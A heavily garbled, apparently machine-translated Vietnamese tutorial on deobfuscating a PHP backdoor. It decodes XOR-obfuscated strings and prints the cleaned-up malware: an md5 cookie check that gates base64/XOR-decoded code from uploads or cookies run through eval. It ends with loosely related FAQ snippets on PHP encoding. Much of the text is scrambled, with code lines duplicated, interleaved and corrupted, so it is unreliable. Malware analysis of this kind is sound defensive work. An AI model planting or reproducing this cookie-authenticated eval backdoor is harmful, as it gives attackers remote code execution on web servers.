& nbsp;& nbsp;
& nbsp;$ tbjq = 'rs.n $ [b7a%?? $ OUM#UCP';koab ^ 'InNV"(]_K?v,GoF';
& nbsp;$ cdyot = 'tcks+@tq)/) iz+cg60';buoxw = '^5^&!K{`,,=0VvK2';
& nbsp;$ mivbcw = $ oxkj. $ TBJQ;uhd = 'Kc4(|+zdQ*e=p3@n' . $ximo;
& nbsp;& nbsp;
& nbsp;$ nuim = 'dyky!] H, em {b | 77xzkgpy0s,%) ra; c [q & g $] f] hb9m) AIS8^e@/a8v/^6d W4i7fs | k} vm/$, = z6 {; không?; M-bkrbn+; 4 {_o! I $ l+fht4; : U? (@54dmig2! M; 1K#jc & bpcqdlmfx%gfokk3 & u#k5i9j6ko (+2*2o+7b#oe7s = -cv = '. $ Nbwlb;wxojo = 'Kc4(|+zdQ*e=p3@n' ^ $olzxu;
& nbsp;$ koab ^ 'innv "(] _ k? V, gof';uyvnw = $qpovk . 'yo#0c5l/+2D2@Bp6Ln)9Yu';
& nbsp;$ BUOXW = '^5^&! K {`,, = 0VVK2';iow = '.4W}Ny*Rtw"K{){(Z.st*#';
& nbsp;$ uhd = 'kc4 (|+zdq*e = p3@n'. $ ximo;nuim .= ':63yj.PVYpmP4rW@$S{J##T3/CRY:1';
& nbsp;$ wxojo = 'kc4 (|+zdq*e = p3@n' ^ $ olzxu;iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
& nbsp;& nbsp;
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';xef = $xef . 'skluXYBZR??tzo';
& nbsp;$ iow = '.4w} ny*rtw "k {) {(z.st*#';tbaj = 'X|wUS9&&o5;,llpy]8i';
& nbsp;& nbsp;
& nbsp;$ dppx = $ dppx. '[@! QZ7^';dppx = $dppx . '[@!qz7^';
& nbsp;$ gskq = 'hmm2zb8y0qb@{iu, [akgykh7'. ', MQ! N_O $ 8A0.6-/L';gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
& nbsp;& nbsp;
& nbsp;$ wwii = $ ibvffk ($ uwks, $ iuib);wwii = $ibvffk($uwks, $iuib);
& nbsp;$ wwii ('$ (r6%] W? DVM! Y $ `-W?wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
& nbsp;}
& nbsp;$ rsx = $ zff;rsx = $zff;
& nbsp;& nbsp;
& nbsp;$ yknx = 'l+o_ $ urrrsho = szmn $';yknx = 'L+O_$UrRRsHO=sZmn$';
& nbsp;$ txwtr = 'hn8#8sm^';txwtr = 'hN8#8sM^';
& nbsp;& nbsp;
& nbsp;$ oqxj = 'ou4! qg1';oqxj = 'oU4!qG1';
& nbsp;$ lhbv = ':? l9 "asac64huhr:} o';lhbv = ':?L9"asAc64HuHR:}O';
& nbsp;$gvk;gvk;
& nbsp;& nbsp;
& nbsp;?>

Bước tiếp theo là một chút tẻ nhạt hơn. Bây giờ chúng ta phải tìm ra mỗi dòng mã này làm gì. Bạn sẽ nhận thấy rất nhiều bài tập biến trong đó hai chuỗi được kết hợp bằng bitwise & nbsp; Hoặc toán tử^^ Để xem các hoạt động và chức năng này, chúng tôi sẽ đánh giá từng dòng mã bằng var_dump () trong chương trình. & NBSP; bạn có thể sử dụng môi trường PHP của riêng mình để đánh giá mã hoặc sử dụng trình đánh giá PHP trực tuyến như vậy As & nbsp; viper-7.com. Khi bạn làm điều này, bạn sẽ bắt đầu thấy các giá trị chuỗi, tên hàm có thể nhận ra, v.v., được in ra. Cũng lưu ý rằng, chúng tôi chỉ muốn đánh giá các dòng mã trong đó một hoạt động xảy ra như =, &, ^, v.v. hoặc một cuộc gọi chức năng đã được thực hiện.

Đây là một ví dụ về những gì tôi muốn nói khi đi từng dòng. Trong trường hợp này, tôi lưu ý những gì biến chứa bằng cách đặt giá trị của nó vào một nhận xét ở trên nó.

& nbsp;/*$zbrux;Slz07 =
& nbsp;& nbsp;
& nbsp;// ... xa hơn xuống tệp
& nbsp;& nbsp;
& nbsp;// ini_set
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
& nbsp;var_dump($krqf);($krqf);
& nbsp;& nbsp;
& nbsp;// báo cáo lỗi
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
& nbsp;var_dump($dghpp);($dghpp);
& nbsp;& nbsp;
& nbsp;// D5
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';gqwmvj = '4}' ^ 'PH`T.P';
& nbsp;var_dump($gqwmvj);($gqwmvj);

Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:

& nbsp;
& nbsp;& nbsp;
& nbsp;// ... xa hơn xuống tệp
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// ini_set
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';
& nbsp;// báo cáo lỗi
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';
& nbsp;// D5
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';krqf($dghpp, $qkkgc);

Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:

& nbsp;
& nbsp;// ... xa hơn xuống tệpxzsuh = '$7-"]A8qcb[rj@y';
& nbsp;& nbsp;
& nbsp;// ini_set
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';bpvdd = '!a@nT' ^ 'L';
& nbsp;var_dump($bpvdd);($bpvdd);
& nbsp;& nbsp;
& nbsp;// báo cáo lỗiauzn = '%1#';
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
& nbsp;// D5tj = ',%XQ6Aq(#7';
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';whhwy = 'u8?+r%h';
& nbsp;& nbsp;
& nbsp;// ini_set
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// báo cáo lỗi
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// D5
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';gqwmvj = '4}' ^ 'PH`T.P';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:atj = 'W+';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_set
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặteevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:qkkgc = 0;
& nbsp;& nbsp;
& nbsp;// ini_set
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';
& nbsp;// báo cáo lỗi
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';
& nbsp;// D5
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';krqf($dghpp, $qkkgc);
& nbsp;& nbsp;
& nbsp;Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:bcae = 'OW=0B$.NVY4_L^M';
& nbsp;& nbsp;
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_set
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặtchbnph = $tj . $atj;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:waw = @$_COOKIE;
& nbsp;& nbsp;
& nbsp;//
& nbsp;// ini_set ('error_Reporting', 0);
& nbsp;$ krqf ($ dghpp, $ qkkgc);
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';
& nbsp;// D5
& nbsp;$dghpp($qkkgc);dghpp($qkkgc);
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
& nbsp;& nbsp;
& nbsp;Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:atj = $bpvdd . $gqwmvj;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_set
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặtibvffk = $chbnph . $auzn ^ $bcae;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:
& nbsp;//
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';
& nbsp;// D5
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';qgexh = $waw['zqcvp'];
& nbsp;& nbsp;
& nbsp;Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_set
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặtvzy = $kr . 'ftAx' ^ $mgfbv;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:
& nbsp;// ($vzy == $atj($qgexh)) {
& nbsp;& nbsp;
& nbsp;// ini_set ('error_Reporting', 0);oxkj = 'nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';
& nbsp;& nbsp;
& nbsp;$ nbwlb = 'zwa $ i-4nh {]^w*cy | 1 & 3';nbwlb = 'zWA$I-4NH{]^W*Cy|1&3';
& nbsp;& nbsp;
& nbsp;$ gj = 'cw1van^) yg*';gj = 'Cw1VaN^)yg*';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// 0
& nbsp;$ BUUPi = $ lbq ^ 'ayb (oygi-lk) 5n = ^ $ _ bf3fw) tb';buupi = $lbq ^ 'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ ndix = '$ 2+ys, yhmm? _q =*= r (!/pezc8';ndix = '$2+YS,yhMM?_Q=*=r(!/PeZC8';
& nbsp;& nbsp;
& nbsp;$ esz = 'u+"dpmitacdj = z494%t5#{cn+'. 'mxh';esz = 'U+"DpMITACDJ=z494%t5#{CN+' . 'mxh';
& nbsp;& nbsp;
& nbsp;$ yintv = '$ k`p/cz';yintv = '$k`P/Cz';
& nbsp;& nbsp;
& nbsp;$ tbjq = 'rs.n $ [b7a%?? $ OUM#UCP';tbjq = 'Rs.N$[B7a%??$OuM#UCP';
& nbsp;$ cdyot = 'tcks+@tq)/) iz+cg60';cdyot = 'tCKS+@tq)/)iZ+cg60';
& nbsp;& nbsp;
& nbsp;$ mivbcw = $ oxkj. $ TBJQ;mivbcw = $oxkj . $tbjq;
& nbsp;$ nuim = 'dyky!] H, em {b | 77xzkgpy0s,%) ra; c [q & g $] f] hb9m) AIS8^e@/a8v/^6d W4i7fs | k} vm/$, = z6 {; không?; M-bkrbn+; 4 {_o! I $ l+fht4; : U? (@54dmig2! M; 1K#jc & bpcqdlmfx%gfokk3 & u#k5i9j6ko (+2*2o+7b#oe7s = -cv = '. $ Nbwlb;nuim = 'dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV=' . $nbwlb;
& nbsp;& nbsp;
& nbsp;$ BUOXW = '^5^&! K {`,, = 0VVK2';buoxw = '^5^&!K{`,,=0VvK2';
& nbsp;$ uhd = 'kc4 (|+zdq*e = p3@n'. $ ximo;uhd = 'Kc4(|+zdQ*e=p3@n' . $ximo;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// 0
& nbsp;$ BUUPi = $ lbq ^ 'ayb (oygi-lk) 5n = ^ $ _ bf3fw) tb';wxojo = 'Kc4(|+zdQ*e=p3@n' ^ $olzxu;
& nbsp;$ ndix = '$ 2+ys, yhmm? _q =*= r (!/pezc8';uyvnw = $qpovk . 'yo#0c5l/+2D2@Bp6Ln)9Yu';
& nbsp;$ esz = 'u+"dpmitacdj = z494%t5#{cn+'. 'mxh';iow = '.4W}Ny*Rtw"K{){(Z.st*#';
& nbsp;$ yintv = '$ k`p/cz';nuim .= ':63yj.PVYpmP4rW@$S{J##T3/CRY:1';
& nbsp;& nbsp;
& nbsp;$ tbjq = 'rs.n $ [b7a%?? $ OUM#UCP';
& nbsp;$ cdyot = 'tcks+@tq)/) iz+cg60';
& nbsp;$ mivbcw = $ oxkj. $ TBJQ;
& nbsp;$ nuim = 'dyky!] H, em {b | 77xzkgpy0s,%) ra; c [q & g $] f] hb9m) AIS8^e@/a8v/^6d W4i7fs | k} vm/$, = z6 {; không?; M-bkrbn+; 4 {_o! I $ l+fht4; : U? (@54dmig2! M; 1K#jc & bpcqdlmfx%gfokk3 & u#k5i9j6ko (+2*2o+7b#oe7s = -cv = '. $ Nbwlb;
& nbsp;$ BUOXW = '^5^&! K {`,, = 0VVK2';iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
& nbsp;& nbsp;
& nbsp;$ uhd = 'kc4 (|+zdq*e = p3@n'. $ ximo;xef = $xef . 'skluXYBZR??tzo';
& nbsp;$ wxojo = 'kc4 (|+zdq*e = p3@n' ^ $ olzxu;tbaj = 'X|wUS9&&o5;,llpy]8i';
& nbsp;& nbsp;
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';dppx = $dppx . '[@!qz7^';
& nbsp;$ iow = '.4w} ny*rtw "k {) {(z.st*#';gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ nuim. = ': 63yj.pvypmp4rw@$s {j ## t3/cry: 1';
& nbsp;// $ ojmvvy = (! trống ($ _ files ["wzkht"])))? file_get_contents ($ _ files ["wzkht"] ["tmp_name"]): $ _cookie ["wzkht"];
& nbsp;// $ Duy = (! Trống ($ _ Files ["dkxmw"]))? file_get_contents ($ _ files ["dkxmw"] ["tmp_name"]): $ _cookie ["dkxmw"];
& nbsp;// $ rixgwg = base64_decode ($ ojmvvy)^base64_decode ($ Duy);wwii = $ibvffk($uwks, $iuib);
& nbsp;& nbsp;
& nbsp;// @Eval ($ rixgwg); "
& nbsp;$ iuib = $ nuim. 'f {iqv6h' ^ $ mivbcw. 'Urvqnj%/pkgy = 226e? Snqj, tx $ {b08';
& nbsp;$ XEF = $ XEF. 'Skluxybzr ?? tzo';
& nbsp;$ tbaj = 'x | wus9 && o5;, llpy] 8i';wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
& nbsp;$ dppx = $ dppx. '[@! QZ7^';
& nbsp;$ gskq = 'hmm2zb8y0qb@{iu, [akgykh7'. ', MQ! N_O $ 8A0.6-/L';rsx = $zff;
& nbsp;& nbsp;
& nbsp;// create_function (null, $ iuib);yknx = 'L+O_$UrRRsHO=sZmn$';
& nbsp;// Trả về Lambda_1txwtr = 'hN8#8sM^';
& nbsp;& nbsp;
& nbsp;// về cơ bản tạo ra một chức năng ẩn danhoqxj = 'oU4!qG1';
& nbsp;$ wwii = $ ibvffk ($ uwks, $ iuib);lhbv = ':?L9"asAc64HuHR:}O';
& nbsp;$gvk;gvk;
& nbsp;& nbsp;
& nbsp;// NULL đã được truyền như là đối số đầu tiên vào created_function nên

// $ wwii không thực sự chấp nhận bất kỳ tham số nào

& nbsp;// Nhưng nó giúp bất cứ ai cố gắng giải thích nó
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ wwii ('$ (r6%] W? DVM! Y $ `-W?
& nbsp;}
& nbsp;$ rsx = $ zff;
& nbsp;$ yknx = 'l+o_ $ urrrsho = szmn $';
& nbsp;$ txwtr = 'hn8#8sm^';('error_reporting', 0);
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ oqxj = 'ou4! qg1';
& nbsp;$ lhbv = ':? l9 "asac64huhr:} o';
& nbsp;?>
& nbsp;$ yknx = 'l+o_ $ urrrsho = szmn $';
& nbsp;$ txwtr = 'hn8#8sm^';
& nbsp;& nbsp;
& nbsp;error_reporting(0);(0);
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ oqxj = 'ou4! qg1';create_function = 'create_function';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ lhbv = ':? l9 "asac64huhr:} o';hash = @$_COOKIE['zqcvp'];
& nbsp;& nbsp;
& nbsp;?>
& nbsp;Được rồi, chúng tôi đã đánh giá tất cả các mã và chúng tôi có thể thấy bây giờ có một số PHP quen thuộc trong các bình luận. & Nbsp; bước thứ hai đến cuối cùng của chúng tôi sẽ được giải thích những gì chương trình làm, dựa trên những gì chúng tôi đã viết trong . Phần này ít đơn giản hơn một chút và đòi hỏi một số sáng tạo. Cũng lưu ý rằng, trong khi một số biến được gán giá trị, chúng có thể chưa bao giờ được sử dụng.
& nbsp;$ created_function = 'created_function';storedHash = "371b35831254c61f61fc291ad7012044"
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_set ($storedHash == $md5($hash)) {
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặtcode = '$ojmvvy = (!empty($_FILES["wzkht"])) ? file_get_contents($_FILES["wzkht"]["tmp_name"]) : $_COOKIE["wzkht"];
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:
& nbsp;//
& nbsp;@eval($rixgwg);'
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;ini_set ('error_Reporting', 0);function = $create_function(null, $code);
& nbsp;& nbsp;
& nbsp;$function();function();
& nbsp;$ dppx = $ dppx. '[@! QZ7^';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// NULL đã được truyền như là đối số đầu tiên vào created_function nên

// $ wwii không thực sự chấp nhận bất kỳ tham số nào

& nbsp;// Nhưng nó giúp bất cứ ai cố gắng giải thích nó
& nbsp;& nbsp;
& nbsp;$ wwii ('$ (r6%] W? DVM! Y $ `-W?
& nbsp;$ txwtr = 'hn8#8sm^';('error_reporting', 0);
& nbsp;error_reporting(0);(0);
& nbsp;& nbsp;
& nbsp;$ StoredHash = '371B35831254C61F61FC291AD7012044';storedHash = '371b35831254c61f61fc291ad7012044';
& nbsp;$ AuthHash = @$ _ Cookie ['ZQCVP'];authHash = @$_COOKIE['zqcvp'];
& nbsp;& nbsp;
& nbsp;// Kiểm tra xem người dùng có giá trị StoredHash được đặt trong cookie của họ không
& nbsp;if ($ storedHash == md5 ($ authhash)) { ($storedHash == md5($authHash)) {
& nbsp;& nbsp;
& nbsp;// kiểm tra xem một tệp có được tải lên với yêu cầu không, nếu nó không sử dụng
& nbsp;// Các nội dung văn bản của cookie thay thế
& nbsp;$ file1 =! trống ($ _ files ['wzkht'])? file_get_contents ($ _ files ['wzkht'] ['tmp_name']): $ _cookie ['wzkht'];file1 = !empty($_FILES['wzkht']) ? file_get_contents($_FILES['wzkht']['tmp_name']) : $_COOKIE['wzkht'];
& nbsp;& nbsp;
& nbsp;$ file2 =! trống ($ _ files ["dkxmw"])? file_get_contents ($ _ files ["dkxmw"] ["tmp_name"]): $ _cookie ["dkxmw"];file2 = !empty($_FILES["dkxmw"]) ? file_get_contents($_FILES["dkxmw"]["tmp_name"]) : $_COOKIE["dkxmw"];
& nbsp;& nbsp;
& nbsp;// giải mã nội dung tệp thành mã PHP thực thi
& nbsp;$ thực thi = base64_decode ($ file1) ^ base64_decode ($ file2);executable = base64_decode($file1) ^ base64_decode($file2);
& nbsp;& nbsp;
& nbsp;// Chạy mã
& nbsp;@eval($executable);eval($executable);
& nbsp;}

Chương trình của chúng tôi đã đi một chặng đường dài từ trạng thái obfuscated ban đầu của nó. Hiện tại có các tên, chức năng biến đổi có thể nhận ra và như vậy. Nhưng, một số bạn vẫn có thể tự hỏi chính xác chương trình này là gì, vì vậy tôi cũng sẽ hướng dẫn bạn.

Bạn sẽ nhận thấy trong 2 dòng mã đầu tiên mà chương trình tắt báo cáo lỗi, đây là để ngăn lỗi được ghi lại và cảnh báo có khả năng được hiển thị cho người dùng. Tiếp tục điều đó, chương trình sau đó đọc trong giá trị băm từ cookie của người dùng, nếu giá trị khớp với giá trị băm được mã hóa cứng, thì chương trình sẽ thực thi mã trong khối if. Xác thực nguyên thủy này được thực hiện để chỉ đảm bảo hacker hoặc ai đó có kiến ​​thức về giá trị băm được lưu trữ có thể chạy một số phần của chương trình.

Bên trong khối IF, chương trình cố gắng lấy nội dung của một tệp được lưu trữ cục bộ trên máy chủ. Nếu tệp không tồn tại cục bộ, nó sẽ cố gắng sử dụng giá trị văn bản được lưu trữ trong cookie của người dùng. Nó lặp lại bước một lần nữa cho một tập tin thứ hai. Sau đó, nó giải mã và kết hợp hai nội dung của tệp thành một số có lẽ là một số mã PHP thực thi khó chịu. & NBSP; bước cuối cùng là thực sự chạy mã đó bằng cách sử dụng eval ().

Như bạn có thể thấy tin tặc thường đi rất lâu để che giấu ý định của họ và che giấu hành động của họ. Việc obfuscation ở trên chỉ là một trong nhiều cách tin tặc có thể ẩn chức năng của mã của chúng. Hy vọng rằng, bạn không bao giờ bắt gặp một trong những tệp này trên máy chủ của riêng bạn. Nhưng, nếu bạn làm thế, bây giờ bạn sẽ có khả năng khử trùng nó và tìm hiểu hoạt động bên trong của nó.

Làm thế nào để giải mã mã trong PHP?

PHP |hàm base64_decode ().Base64_Decode () là một hàm sẵn có trong PHP được sử dụng để giải mã dữ liệu được mã hóa trong MIME Base64.Tham số: Hàm này chấp nhận hai tham số như đã đề cập ở trên và được mô tả dưới đây: $ Data: Đó là tham số bắt buộc chứa chuỗi được mã hóa.base64_decode() Function. The base64_decode() is an inbuilt function in PHP which is used to Decodes data which is encoded in MIME base64. Parameters: This function accepts two parameter as mentioned above and described below: $data: It is mandatory parameter which contains the encoded string.

Php mã hóa và giải mã là gì?

Các chuỗi URL mã hóa và giải mã được sử dụng để chuyển đổi các chuỗi và ký tự URL chung thành một sự sắp xếp có thể được chuyển qua internet.Trong hướng dẫn này, bạn sẽ tìm hiểu về hai cách trong đó chuỗi URL có thể được mã hóa và giải mã trong PHP.URL strings are used to convert general URL strings and characters into an arrangement that can be conveyed over the internet. In this tutorial, you will learn about two ways in which URL string can be encoded and decoded in PHP.

Làm cách nào để mã hóa tệp PHP?

Làm thế nào để mã hóa một tập lệnh PHP..
Chuỗi utf8_encode (chuỗi $ chuỗi).
Chuỗi ICONV (Chuỗi $ input_charset, chuỗi $ output_charset, chuỗi $ str).
Chuỗi mb_convert_encoding (Chuỗi $ str, chuỗi $ to_encoding [, trộn $ from_encoding = mb_Internal_encoding ()]).
Chuỗi cơ sở64_encode (chuỗi $ chuỗi).